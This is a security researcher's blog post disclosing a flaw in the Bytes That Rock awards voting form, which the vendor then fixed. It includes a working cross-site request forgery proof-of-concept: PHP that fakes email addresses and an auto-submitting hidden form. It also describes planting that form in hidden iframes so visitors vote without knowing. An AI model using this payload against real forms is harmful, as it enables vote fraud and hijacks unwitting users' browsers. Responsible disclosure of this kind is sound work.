David Sopas – Web Security Researcher

November 20, 2015 at 10:28 am

Bytes that Rock voting manipulation

Bytes that Rock voting manipulation

Rocky Bytes is a company well known for its informative reviews and news on all the latest games and programs. Each year they promote Bytes That Rock – an event committed to bring worldwide recognition the software and blogs that have achieved excellence in the market with their hard work, effort, dedication.

After reading the post from Graham Cluley  which I follow on my daily feed, I decided to check Bytes That Rock best security blog nominees.

I noticed Brian Krebs – krebsonsecurity.com there and I’m a big fan of his work. I voted for him and noticed that the voting form had not protection – besides IP verification.

As a curious individual as I am I tried to check the form security a little further…

I thought to myself – What if I can make Krebs win the competition? 🙂

Since the voting form lacked any security token or CAPTCHA [or even a confirmation email link] I created a small proof-of-concept:

Let me explain with a proof-of-concept:

$email_generator = rand(10000, 9999999) . "@gmail.com";
<form method="post" action="http://www.rockybytes.com/bytes-that-rock/krebs-on-security" name="dsopas">
<input type="hidden" name="email" value="<?php echo $email_generator; ?>" />
<input type="hidden" name="nombre" value="David" />
<input type="hidden" name="programa" value="136" />
<input type="hidden" name="legal" value="on" />
<input type="hidden" value="votar" name="accion"/>
</form><script> document.dsopas.submit(); </script>

I used 2 proxies to open the specially crafted page and both voted successfuly for Krebs blog. So I only needed a unique IP and a auto generated email to vote.
But I don’t needed a unique IP.

Imagine the following scenario:

On a popular blog or network I post a link that contains a hidden IFRAME to my proof-of-concept. Each time a user visits the page, it gives a vote to Krebs.

I contacted Rocky Bytes I told them about this security issue. They took less than 24 hours to implement a CAPTCHA system and told me that in the next edition they will improve their security system using my suggestions.


They also informed me that – I quote:

You should also know that if let the users be the only ones who decide, it won’t be the best one on each category winning but the one with biggest amount of fans, and that wouldn’t make it fair for those small ones who put a huge effort and create quality software and blogs, jeopardizing the whole purpose and philosophy behind this event This is the reason why we put together a Jury of experts on the field and gave them a 70% of the weight on the decision, whilst only the remaining 30% goes for the votes from the public.

As a side note I informed them that during my testing I voted for Brian Krebs blog 3 times. One was valid with my own IP and the other two were made with 2 proxies and auto-generated emails with the name David.

I decided to make this public because it’s important for other voting system to take their security into account. Sometimes the winner is manipulated by users that can bypass the system.

I’m glad I’ve helped Bytes that Rock!

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